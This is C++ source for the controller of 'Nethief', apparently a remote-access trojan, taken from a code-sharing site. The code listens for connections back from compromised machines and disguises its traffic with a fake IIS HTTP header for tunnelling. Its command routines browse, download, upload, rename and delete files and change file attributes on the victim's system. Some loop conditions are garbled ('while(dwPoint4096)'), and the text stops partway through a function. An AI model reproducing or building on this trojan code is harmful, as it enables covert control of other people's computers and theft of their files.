www.pudn.com > Nethief.rar > FileSocket.cpp


// FileSocket.cpp: implementation of the CFileSocket class. 
// 
////////////////////////////////////////////////////////////////////// 
 
#include "stdafx.h" 
#include "Nethief.h" 
#include "FileSocket.h" 
 
#ifdef _DEBUG 
#undef THIS_FILE 
static char THIS_FILE[]=__FILE__; 
#define new DEBUG_NEW 
#endif 
 
//************参数设定******************* 
#define HTTP_RESPONSE_HEADER	"\ 
HTTP/1.1 200 OK\r\n\ 
Server: Microsoft-IIS/5.0\r\n\ 
Content-Length: %d\r\n\ 
Content-Type: text/html\r\n\ 
\r\n" 
//*************************************** 
 
CFileSocket::CFileSocket() 
{ 
	m_bStop=FALSE;		//操作被停止 
 
	m_hConnectSocket=NULL; 
	m_strHostName=""; 
	m_nHostAttribute=0; 
 
	m_ArrayBuffer.SetSize(4096,4096);	//Buffer数组 
} 
 
CFileSocket::~CFileSocket() 
{ 
 
} 
//////////////////////////////////////////////////////////////// 
void CFileSocket::Initial(CProgressCtrl* pProgress) 
{ 
	m_pProgress=pProgress; 
} 
 
void CFileSocket::Close() 
{ 
	//TODO... 
} 
//////////////////////////////////////////////////////////////// 
void CFileSocket::NotifyClientConnect(CString strClientName,BOOL bIsHttpTunnel) 
{ 
	m_strClientName=strClientName;	//保存准备连接的客户端的主机名 
	m_bIsHttpTunnel=bIsHttpTunnel;	//保存准备连接的客户端是否是HTTP隧道主机 
	DWORD dwResult=0;//0 - 失败 
#if ONLINE_TEST 
	CCommunity*	pCommunity=((CNethiefApp*)AfxGetApp())->pCommunity; 
	if(pCommunity->NotifyClientConnect(strClientName)) 
	{ 
		dwResult=1;//1 - 成功 
	} 
	if(m_bStop) 
	{ 
		dwResult=2;//2 - 被停止 
	} 
#else 
	dwResult=1; 
#endif 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NOTIFYCONNECT,dwResult); 
} 
 
BOOL CFileSocket::BeginListen() 
{ 
	closesocket(m_hListenSocket); 
 
	CString strServerIP=((CNethiefApp*)AfxGetApp())->pCommunity->GetBindIP(); 
 
	m_hListenSocket=socket(AF_INET,SOCK_STREAM,0); 
	if(m_hListenSocket==INVALID_SOCKET) 
		AfxMessageBox("socket() failed"); 
 
	SOCKADDR_IN serveraddr; 
	serveraddr.sin_family=AF_INET; 
	serveraddr.sin_port=htons(60000); 
	serveraddr.sin_addr.s_addr=inet_addr(strServerIP); 
 
	if(bind(m_hListenSocket,(SOCKADDR*)&serveraddr,sizeof(serveraddr))==SOCKET_ERROR) 
		return FALSE; 
	if(listen(m_hListenSocket,1)==SOCKET_ERROR) 
		AfxMessageBox("listen() failed"); 
 
	WSAAsyncSelect(m_hListenSocket,AfxGetMainWnd()->m_hWnd,WM_SOCKET,FD_ACCEPT); 
	return TRUE; 
} 
 
void CFileSocket::EndListen() 
{ 
	if(m_hConnectSocket!=NULL) 
	{ 
		if(m_bIsHttpTunnel)//如果是HTTP隧道主机,监听端口不注册消息 
			WSAAsyncSelect(m_hListenSocket,AfxGetMainWnd()->m_hWnd,NULL,NULL); 
		else//如果不是HTTP隧道主机,关闭监听端口 
			closesocket(m_hListenSocket); 
	} 
	else 
		closesocket(m_hListenSocket);//没有收到服务端的连接,关闭监听端口 
} 
 
void CFileSocket::DisconnectClient() 
{ 
	if(m_bIsHttpTunnel)//如果是HTTP隧道主机,此时关闭监听端口 
		closesocket(m_hListenSocket); 
 
	closesocket(m_hConnectSocket);//关闭连接Socket 
	m_hConnectSocket=NULL; 
	m_strHostName=""; 
	m_nHostAttribute=0; 
} 
//////////////////////////////////////////////////////////////// 
void CFileSocket::OnSocketAccept() 
{ 
	if(m_bIsHttpTunnel)//是等待HTTP隧道主机的连接 
	{ 
		SOCKADDR_IN clientaddr; 
		int len=sizeof(clientaddr); 
 
		m_hConnectSocket=accept(m_hListenSocket,(SOCKADDR*)&clientaddr,&len); 
		if(m_hConnectSocket==INVALID_SOCKET) 
			AfxMessageBox("accept() failed"); 
		////////////////////////////////////////////// 
		BYTE byBuffer[1024]; 
		while(1)//接收POST请求,即HTTP头 
		{ 
			int nRet=recv(m_hConnectSocket,(char*)&byBuffer,sizeof(byBuffer),NULL); 
			if(nRet==SOCKET_ERROR) 
			{ 
				if(WSAGetLastError()==WSAEWOULDBLOCK) 
				{ 
					Sleep(50); 
					continue;	//阻塞,继续 
				} 
				else 
					return;//出错了 
			} 
			else 
				break;//不全部接收完数据,不影响正常工作 
		}		 
		////////////////////////////////////////////// 
		m_strHostName=m_strClientName;//保存主机名 
		m_nHostAttribute=1;//保存主机属性 
 
		CString strIP=inet_ntoa(clientaddr.sin_addr); 
		int nPort=ntohs(clientaddr.sin_port); 
		m_strAddress.Format(strIP+":%d",nPort); 
	} 
	else 
	{ 
		SOCKADDR_IN clientaddr; 
		int len=sizeof(clientaddr); 
 
		m_hConnectSocket=accept(m_hListenSocket,(SOCKADDR*)&clientaddr,&len); 
		if(m_hConnectSocket==INVALID_SOCKET) 
			AfxMessageBox("accept() failed"); 
 
		m_strHostName=m_strClientName; 
		m_nHostAttribute=0; 
	 
		CString strIP=inet_ntoa(clientaddr.sin_addr); 
		int nPort=ntohs(clientaddr.sin_port); 
		m_strAddress.Format(strIP+":%d",nPort); 
	} 
} 
 
//////////////////////////////////////////////////////////////// 
void CFileSocket::Command_IDVerify() 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_IDVERIFY,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,0,CMD_IDVERIFY); 
	if(dwResult==1) 
	{		 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_IDVERIFY,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(RECV_IDVERIFY_INFO)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(RECV_IDVERIFY_INFO)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_IDVERIFY,dwResult); 
} 
 
void CFileSocket::Command_DownloadDiskDriveInfo() 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DOWNLOADDISKDRIVEINFO,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,0,CMD_DOWNLOADDISKDRIVEINFO); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DOWNLOADDISKDRIVEINFO,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwDataSize=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(dwDataSize); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDataSize); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DOWNLOADDISKDRIVEINFO,dwResult); 
} 
 
void CFileSocket::Command_ExpandDirectory(CString strHostName,CString strPath) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strPath.GetLength()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_EXPANDDIRECTORY,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_EXPANDDIRECTORY, 
		(BYTE*)(LPCSTR)strPath,strPath.GetLength()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_EXPANDDIRECTORY,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwDataSize=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(dwDataSize); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDataSize); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_EXPANDDIRECTORY,dwResult); 
} 
 
void CFileSocket::Command_ShowFileList(CString strHostName,CString strPath) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strPath.GetLength()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWFILELIST,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_SHOWFILELIST, 
		(BYTE*)(LPCSTR)strPath,strPath.GetLength()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWFILELIST,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwDataSize=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(dwDataSize); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDataSize); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWFILELIST,dwResult); 
} 
 
void CFileSocket::Command_RenameFile(CString strHostName,CString strPath,CString strFilename1,CString strFilename2) 
{ 
	/////////////////////////////////////// 
	int nPathLen=strPath.GetLength(); 
	int nFilename1Len=strFilename1.GetLength(); 
	int nFilename2Len=strFilename2.GetLength(); 
	m_ArrayBuffer.SetSize(nPathLen+1+nFilename1Len+1+nFilename2Len+1); 
	memcpy(&m_ArrayBuffer[0],(LPCSTR)strPath,nPathLen+1); 
	memcpy(&m_ArrayBuffer[0]+nPathLen+1,(LPCSTR)strFilename1,nFilename1Len+1); 
	memcpy(&m_ArrayBuffer[0]+nPathLen+1+nFilename1Len+1,(LPCSTR)strFilename2,nFilename2Len+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_RENAMEFILE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_RENAMEFILE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_RENAMEFILE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_RENAMEFILE,dwResult); 
} 
 
void CFileSocket::Command_NewFile(CString strHostName,CString strFullFilename) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strFullFilename.GetLength()+1+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NEWFILE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_NEWFILE, 
		(BYTE*)(LPCSTR)strFullFilename,strFullFilename.GetLength()+1); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NEWFILE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NEWFILE,dwResult); 
} 
 
void CFileSocket::Command_NewFolder(CString strHostName,CString strFullFilename) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strFullFilename.GetLength()+1+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NEWFOLDER,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_NEWFOLDER, 
		(BYTE*)(LPCSTR)strFullFilename,strFullFilename.GetLength()+1); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NEWFOLDER,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_NEWFOLDER,dwResult); 
} 
 
void CFileSocket::Command_DeleteFile(CString strHostName,CString strFrom) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strFrom.GetLength()+1+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DELETEFILE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_DELETEFILE, 
		(BYTE*)(LPCSTR)strFrom,strFrom.GetLength()+1); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DELETEFILE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DELETEFILE,dwResult); 
} 
 
void CFileSocket::Command_RemotePaste(CString strHostName, 
									  CString strFrom,CString strTo,DWORD dwFOFlags) 
{ 
	/////////////////////////////////////// 
	int nFromLen=strFrom.GetLength(); 
	int nToLen=strTo.GetLength(); 
	m_ArrayBuffer.SetSize(sizeof(dwFOFlags)+nFromLen+1+nToLen+1); 
	memcpy(&m_ArrayBuffer[0],&dwFOFlags,sizeof(dwFOFlags)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(dwFOFlags),(LPCSTR)strTo,nToLen+1); 
	memcpy(&m_ArrayBuffer[0]+sizeof(dwFOFlags)+nToLen+1,(LPCSTR)strFrom,nFromLen+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTEPASTE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_REMOTEPASTE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTEPASTE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTEPASTE,dwResult); 
} 
 
void CFileSocket::Command_GetOperationObject(CString strHostName,CString strFrom) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strFrom.GetLength()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_GETOPERATIONOBJECT,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_GETOPERATIONOBJECT, 
		(BYTE*)(LPCSTR)strFrom,strFrom.GetLength()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_GETOPERATIONOBJECT,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwDataSize=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(dwDataSize); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDataSize); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_GETOPERATIONOBJECT,dwResult); 
} 
 
void CFileSocket::Command_DownloadFile(CString strHostName, 
									   CString strFilename1,CString strFilename2, 
									   DWORD dwStartPosition,BOOL bIsCut) 
{ 
	/////////////////////////////////////// 
	int nFilename1Len=strFilename1.GetLength(); 
	m_ArrayBuffer.SetSize(sizeof(bIsCut)+sizeof(dwStartPosition)+nFilename1Len+1); 
	memcpy(&m_ArrayBuffer[0],&bIsCut,sizeof(bIsCut)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bIsCut),&dwStartPosition,sizeof(dwStartPosition)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bIsCut)+sizeof(dwStartPosition),(LPCSTR)strFilename1,nFilename1Len+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DOWNLOADFILE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_DOWNLOADFILE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize(),FALSE); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DOWNLOADFILE,0); 
				return;	//失败 
			} 
		} 
		//////////////////////////////////////////////////////////// 
		CreateMultilevelDir(strFilename2.Left(strFilename2.ReverseFind('\\'))); 
 
		CFile DestFile; 
		if(dwStartPosition==0)//是从头下载 
		{ 
			DestFile.Open(strFilename2, 
				CFile::modeCreate|CFile::modeWrite|CFile::shareDenyNone); 
		} 
		else//是断点续传 
		{ 
			DestFile.Open(strFilename2,CFile::modeWrite|CFile::shareDenyNone); 
			DestFile.Seek(dwStartPosition,CFile::begin); 
		} 
		//////////////////////////////////////////////////////////// 
		DWORD dwFileLength=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(4096); 
		m_pProgress->SetPos((FLOAT)dwStartPosition/(FLOAT)dwFileLength*PROGRESS_RANGE); 
		AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,OTR_REFRESHSTATUSBAR,(FLOAT)dwStartPosition/(FLOAT)dwFileLength*100); 
 
		DWORD dwPoint=dwStartPosition; 
		DWORD dwDiffer=0; 
		while(dwPoint4096) 
				dwDiffer=4096; 
			dwPoint+=dwDiffer; 
 
			dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDiffer,FALSE); 
			if(!dwResult) 
				break; 
			DestFile.Write(m_ArrayBuffer.GetData(),dwDiffer); 
			m_pProgress->SetPos((FLOAT)dwPoint/(FLOAT)dwFileLength*PROGRESS_RANGE); 
			///////////////////////////////////////// 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,OTR_REFRESHSTATUSBAR,(FLOAT)dwPoint/(FLOAT)dwFileLength*100); 
		} 
		DestFile.Close(); 
		m_pProgress->SetPos(0); 
	} 
	if(m_bStop) 
	{ 
		m_bStop=FALSE; 
		dwResult=2; 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_DOWNLOADFILE,dwResult); 
} 
 
void CFileSocket::Command_UploadFile(CString strHostName, 
									 CString strFilename1,CString strFilename2, 
									 DWORD dwStartPosition,BOOL bIsCut) 
{ 
	CFileStatus rStatus; 
	CFile::GetStatus(strFilename1,rStatus); 
	DWORD dwFileLength=rStatus.m_size; 
 
	m_pProgress->SetPos((FLOAT)dwStartPosition/(FLOAT)dwFileLength*PROGRESS_RANGE); 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,OTR_REFRESHSTATUSBAR,(FLOAT)dwStartPosition/(FLOAT)dwFileLength*100); 
 
	int nFilename2Len=strFilename2.GetLength(); 
	m_ArrayBuffer.SetSize(sizeof(bIsCut)+sizeof(dwStartPosition)+sizeof(dwFileLength)+nFilename2Len+1); 
	memcpy(&m_ArrayBuffer[0],&bIsCut,sizeof(bIsCut)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bIsCut),&dwStartPosition,sizeof(dwStartPosition)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bIsCut)+sizeof(dwStartPosition),&dwFileLength,sizeof(dwFileLength)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bIsCut)+sizeof(dwStartPosition)+sizeof(dwFileLength), 
		(LPCSTR)strFilename2,nFilename2Len+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)+dwFileLength); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_UPLOADFILE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_UPLOADFILE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize(),FALSE); 
	if(dwResult==1) 
	{ 
		CFile SrcFile(strFilename1,CFile::modeRead|CFile::shareDenyNone); 
		SrcFile.Seek(dwStartPosition,CFile::begin); 
		////////////////////////////////////////////////////////////// 
		m_ArrayBuffer.SetSize(4096); 
 
		DWORD dwPoint=dwStartPosition; 
		DWORD dwDiffer=0; 
		while(dwPoint4096) 
				dwDiffer=4096; 
			dwPoint+=dwDiffer; 
 
			SrcFile.Read(m_ArrayBuffer.GetData(),dwDiffer); 
			BOOL bRet=SendCommand(m_hConnectSocket,3,NULL,m_ArrayBuffer.GetData(),dwDiffer,FALSE); 
			if(!bRet) 
				break; 
			m_pProgress->SetPos((FLOAT)dwPoint/(FLOAT)dwFileLength*PROGRESS_RANGE); 
			///////////////////////////////////////// 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,OTR_REFRESHSTATUSBAR,(FLOAT)dwPoint/(FLOAT)dwFileLength*100); 
		} 
		SrcFile.Close(); 
		////////////////////////////////////////////////////////////// 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_UPLOADFILE,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwReturn=0; 
		dwResult=RecvCommandData(m_hConnectSocket,(BYTE*)&dwReturn,sizeof(dwReturn),FALSE); 
		if(bIsCut && dwReturn) 
			DeleteFile(strFilename1); 
		m_pProgress->SetPos(0); 
	} 
	if(m_bStop) 
	{ 
		m_bStop=FALSE; 
		dwResult=2; 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_UPLOADFILE,dwResult); 
} 
 
void CFileSocket::Command_ShowProperty_Multi(CString strHostName,CString strPath) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strPath.GetLength()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_MULTI,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_SHOWPROPERTY_MULTI, 
		(BYTE*)(LPCSTR)strPath,strPath.GetLength()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_MULTI,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(RECV_PROPERTYMULTI_INFO)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(RECV_PROPERTYMULTI_INFO)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_MULTI,dwResult); 
} 
 
void CFileSocket::Command_ShowProperty_Single(CString strHostName,CString strFilename) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strFilename.GetLength()+1+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_SINGLE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_SHOWPROPERTY_SINGLE, 
		(BYTE*)(LPCSTR)strFilename,strFilename.GetLength()+1); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_SINGLE,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwDataSize=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(dwDataSize); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDataSize); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_SINGLE,dwResult); 
} 
 
void CFileSocket::Command_ModifyProperty_Single(CString strHostName,CString strFilename,DWORD dwFileAttributes) 
{ 
	int nFilenameLen=strFilename.GetLength(); 
	m_ArrayBuffer.SetSize(sizeof(dwFileAttributes)+nFilenameLen+1); 
	memcpy(&m_ArrayBuffer[0],&dwFileAttributes,sizeof(dwFileAttributes)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(dwFileAttributes),(LPCSTR)strFilename,nFilenameLen+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_MODIFYPROPERTY_SINGLE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_MODIFYPROPERTY_SINGLE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_MODIFYPROPERTY_SINGLE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
